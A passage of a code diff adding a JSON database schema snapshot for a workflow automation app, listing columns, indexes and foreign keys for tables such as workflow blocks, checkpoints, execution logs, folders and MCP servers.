"workflow_workspace_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_user_workspace_idx": { + "name": "workflow_user_workspace_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_workspace_folder_name_active_unique": { + "name": "workflow_workspace_folder_name_active_unique", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "coalesce(\"folder_id\", '')", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"workflow\".\"archived_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_folder_sort_idx": { + "name": "workflow_folder_sort_idx", + "columns": [ + { + "expression": "folder_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "sort_order", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_archived_at_idx": { + "name": "workflow_archived_at_idx", + "columns": [ + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_workspace_archived_partial_idx": { + "name": "workflow_workspace_archived_partial_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"workflow\".\"archived_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_user_id_user_id_fk": { + "name": "workflow_user_id_user_id_fk", + "tableFrom": "workflow", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflow_workspace_id_workspace_id_fk": { + "name": "workflow_workspace_id_workspace_id_fk", + "tableFrom": "workflow", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflow_folder_id_workflow_folder_id_fk": { + "name": "workflow_folder_id_workflow_folder_id_fk", + "tableFrom": "workflow", + "tableTo": "workflow_folder", + "columnsFrom": ["folder_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_blocks": { + "name": "workflow_blocks", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "position_x": { + "name": "position_x", + "type": "numeric", + "primaryKey": false, + "notNull": true + }, + "position_y": { + "name": "position_y", + "type": "numeric", + "primaryKey": false, + "notNull": true + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "horizontal_handles": { + "name": "horizontal_handles", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "is_wide": { + "name": "is_wide", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "advanced_mode": { + "name": "advanced_mode", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "trigger_mode": { + "name": "trigger_mode", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "locked": { + "name": "locked", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "height": { + "name": "height", + "type": "numeric", + "primaryKey": false, + "notNull": true, + "default": "'0'" + }, + "sub_blocks": { + "name": "sub_blocks", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "outputs": { + "name": "outputs", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "data": { + "name": "data", + "type": "jsonb", + "primaryKey": false, + "notNull": false, + "default": "'{}'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workflow_blocks_workflow_id_idx": { + "name": "workflow_blocks_workflow_id_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_blocks_type_idx": { + "name": "workflow_blocks_type_idx", + "columns": [ + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_blocks_workflow_id_workflow_id_fk": { + "name": "workflow_blocks_workflow_id_workflow_id_fk", + "tableFrom": "workflow_blocks", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_checkpoints": { + "name": "workflow_checkpoints", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "chat_id": { + "name": "chat_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "message_id": { + "name": "message_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "workflow_state": { + "name": "workflow_state", + "type": "json", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workflow_checkpoints_user_id_idx": { + "name": "workflow_checkpoints_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_checkpoints_workflow_id_idx": { + "name": "workflow_checkpoints_workflow_id_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_checkpoints_chat_id_idx": { + "name": "workflow_checkpoints_chat_id_idx", + "columns": [ + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_checkpoints_message_id_idx": { + "name": "workflow_checkpoints_message_id_idx", + "columns": [ + { + "expression": "message_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_checkpoints_user_workflow_idx": { + "name": "workflow_checkpoints_user_workflow_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_checkpoints_workflow_chat_idx": { + "name": "workflow_checkpoints_workflow_chat_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_checkpoints_created_at_idx": { + "name": "workflow_checkpoints_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_checkpoints_chat_created_at_idx": { + "name": "workflow_checkpoints_chat_created_at_idx", + "columns": [ + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_checkpoints_user_id_user_id_fk": { + "name": "workflow_checkpoints_user_id_user_id_fk", + "tableFrom": "workflow_checkpoints", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflow_checkpoints_workflow_id_workflow_id_fk": { + "name": "workflow_checkpoints_workflow_id_workflow_id_fk", + "tableFrom": "workflow_checkpoints", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflow_checkpoints_chat_id_copilot_chats_id_fk": { + "name": "workflow_checkpoints_chat_id_copilot_chats_id_fk", + "tableFrom": "workflow_checkpoints", + "tableTo": "copilot_chats", + "columnsFrom": ["chat_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_deployment_version": { + "name": "workflow_deployment_version", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "version": { + "name": "version", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "state": { + "name": "state", + "type": "json", + "primaryKey": false, + "notNull": true + }, + "is_active": { + "name": "is_active", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "workflow_deployment_version_workflow_version_unique": { + "name": "workflow_deployment_version_workflow_version_unique", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "version", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_deployment_version_workflow_active_idx": { + "name": "workflow_deployment_version_workflow_active_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "is_active", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_deployment_version_created_at_idx": { + "name": "workflow_deployment_version_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_deployment_version_workflow_id_workflow_id_fk": { + "name": "workflow_deployment_version_workflow_id_workflow_id_fk", + "tableFrom": "workflow_deployment_version", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_edges": { + "name": "workflow_edges", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_block_id": { + "name": "source_block_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_block_id": { + "name": "target_block_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_handle": { + "name": "source_handle", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "target_handle": { + "name": "target_handle", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workflow_edges_workflow_id_idx": { + "name": "workflow_edges_workflow_id_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_edges_workflow_source_idx": { + "name": "workflow_edges_workflow_source_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_block_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_edges_workflow_target_idx": { + "name": "workflow_edges_workflow_target_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_block_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_edges_workflow_id_workflow_id_fk": { + "name": "workflow_edges_workflow_id_workflow_id_fk", + "tableFrom": "workflow_edges", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflow_edges_source_block_id_workflow_blocks_id_fk": { + "name": "workflow_edges_source_block_id_workflow_blocks_id_fk", + "tableFrom": "workflow_edges", + "tableTo": "workflow_blocks", + "columnsFrom": ["source_block_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflow_edges_target_block_id_workflow_blocks_id_fk": { + "name": "workflow_edges_target_block_id_workflow_blocks_id_fk", + "tableFrom": "workflow_edges", + "tableTo": "workflow_blocks", + "columnsFrom": ["target_block_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_execution_logs": { + "name": "workflow_execution_logs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "execution_id": { + "name": "execution_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "state_snapshot_id": { + "name": "state_snapshot_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "deployment_version_id": { + "name": "deployment_version_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "level": { + "name": "level", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'running'" + }, + "trigger": { + "name": "trigger", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "started_at": { + "name": "started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "ended_at": { + "name": "ended_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "total_duration_ms": { + "name": "total_duration_ms", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "execution_data": { + "name": "execution_data", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "cost": { + "name": "cost", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "cost_total": { + "name": "cost_total", + "type": "numeric", + "primaryKey": false, + "notNull": false + }, + "models_used": { + "name": "models_used", + "type": "text[]", + "primaryKey": false, + "notNull": false + }, + "files": { + "name": "files", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workflow_execution_logs_workflow_id_idx": { + "name": "workflow_execution_logs_workflow_id_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_execution_logs_state_snapshot_id_idx": { + "name": "workflow_execution_logs_state_snapshot_id_idx", + "columns": [ + { + "expression": "state_snapshot_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_execution_logs_deployment_version_id_idx": { + "name": "workflow_execution_logs_deployment_version_id_idx", + "columns": [ + { + "expression": "deployment_version_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_execution_logs_trigger_idx": { + "name": "workflow_execution_logs_trigger_idx", + "columns": [ + { + "expression": "trigger", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_execution_logs_level_idx": { + "name": "workflow_execution_logs_level_idx", + "columns": [ + { + "expression": "level", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_execution_logs_started_at_idx": { + "name": "workflow_execution_logs_started_at_idx", + "columns": [ + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_execution_logs_execution_id_unique": { + "name": "workflow_execution_logs_execution_id_unique", + "columns": [ + { + "expression": "execution_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_execution_logs_workflow_started_at_idx": { + "name": "workflow_execution_logs_workflow_started_at_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_execution_logs_workspace_started_at_idx": { + "name": "workflow_execution_logs_workspace_started_at_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_execution_logs_workspace_started_at_id_desc_idx": { + "name": "workflow_execution_logs_workspace_started_at_id_desc_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "\"started_at\" DESC NULLS LAST", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "\"id\" DESC", + "asc": true, + "isExpression": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_execution_logs_workspace_cost_total_idx": { + "name": "workflow_execution_logs_workspace_cost_total_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "cost_total", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_execution_logs_models_used_idx": { + "name": "workflow_execution_logs_models_used_idx", + "columns": [ + { + "expression": "models_used", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "gin", + "with": {} + }, + "workflow_execution_logs_workspace_ended_at_id_idx": { + "name": "workflow_execution_logs_workspace_ended_at_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "date_trunc('milliseconds', \"ended_at\")", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_execution_logs_running_started_at_idx": { + "name": "workflow_execution_logs_running_started_at_idx", + "columns": [ + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "status = 'running'", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_execution_logs_workflow_id_workflow_id_fk": { + "name": "workflow_execution_logs_workflow_id_workflow_id_fk", + "tableFrom": "workflow_execution_logs", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + }, + "workflow_execution_logs_workspace_id_workspace_id_fk": { + "name": "workflow_execution_logs_workspace_id_workspace_id_fk", + "tableFrom": "workflow_execution_logs", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflow_execution_logs_state_snapshot_id_workflow_execution_snapshots_id_fk": { + "name": "workflow_execution_logs_state_snapshot_id_workflow_execution_snapshots_id_fk", + "tableFrom": "workflow_execution_logs", + "tableTo": "workflow_execution_snapshots", + "columnsFrom": ["state_snapshot_id"], + "columnsTo": ["id"], + "onDelete": "no action", + "onUpdate": "no action" + }, + "workflow_execution_logs_deployment_version_id_workflow_deployment_version_id_fk": { + "name": "workflow_execution_logs_deployment_version_id_workflow_deployment_version_id_fk", + "tableFrom": "workflow_execution_logs", + "tableTo": "workflow_deployment_version", + "columnsFrom": ["deployment_version_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_execution_snapshots": { + "name": "workflow_execution_snapshots", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "state_hash": { + "name": "state_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "state_data": { + "name": "state_data", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workflow_snapshots_workflow_id_idx": { + "name": "workflow_snapshots_workflow_id_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_snapshots_hash_idx": { + "name": "workflow_snapshots_hash_idx", + "columns": [ + { + "expression": "state_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_snapshots_workflow_hash_idx": { + "name": "workflow_snapshots_workflow_hash_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "state_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_snapshots_created_at_idx": { + "name": "workflow_snapshots_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_execution_snapshots_workflow_id_workflow_id_fk": { + "name": "workflow_execution_snapshots_workflow_id_workflow_id_fk", + "tableFrom": "workflow_execution_snapshots", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_folder": { + "name": "workflow_folder", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "parent_id": { + "name": "parent_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false, + "default": "'#6B7280'" + }, + "is_expanded": { + "name": "is_expanded", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "locked": { + "name": "locked", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "sort_order": { + "name": "sort_order", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "workflow_folder_user_idx": { + "name": "workflow_folder_user_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_folder_workspace_parent_idx": { + "name": "workflow_folder_workspace_parent_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "parent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_folder_parent_sort_idx": { + "name": "workflow_folder_parent_sort_idx", + "columns": [ + { + "expression": "parent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "sort_order", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_folder_archived_at_idx": { + "name": "workflow_folder_archived_at_idx", + "columns": [ + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_folder_workspace_archived_partial_idx": { + "name": "workflow_folder_workspace_archived_partial_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"workflow_folder\".\"archived_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_folder_user_id_user_id_fk": { + "name": "workflow_folder_user_id_user_id_fk", + "tableFrom": "workflow_folder", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflow_folder_workspace_id_workspace_id_fk": { + "name": "workflow_folder_workspace_id_workspace_id_fk", + "tableFrom": "workflow_folder", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_mcp_server": { + "name": "workflow_mcp_server", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "is_public": { + "name": "is_public", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workflow_mcp_server_workspace_id_idx": { + "name": "workflow_mcp_server_workspace_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_mcp_server_created_by_idx": { + "name": "workflow_mcp_server_created_by_idx", + "columns": [ + { + "expression": "created_by", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_mcp_server_deleted_at_idx": { + "name": "workflow_mcp_server_deleted_at_idx", + "columns": [ + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + 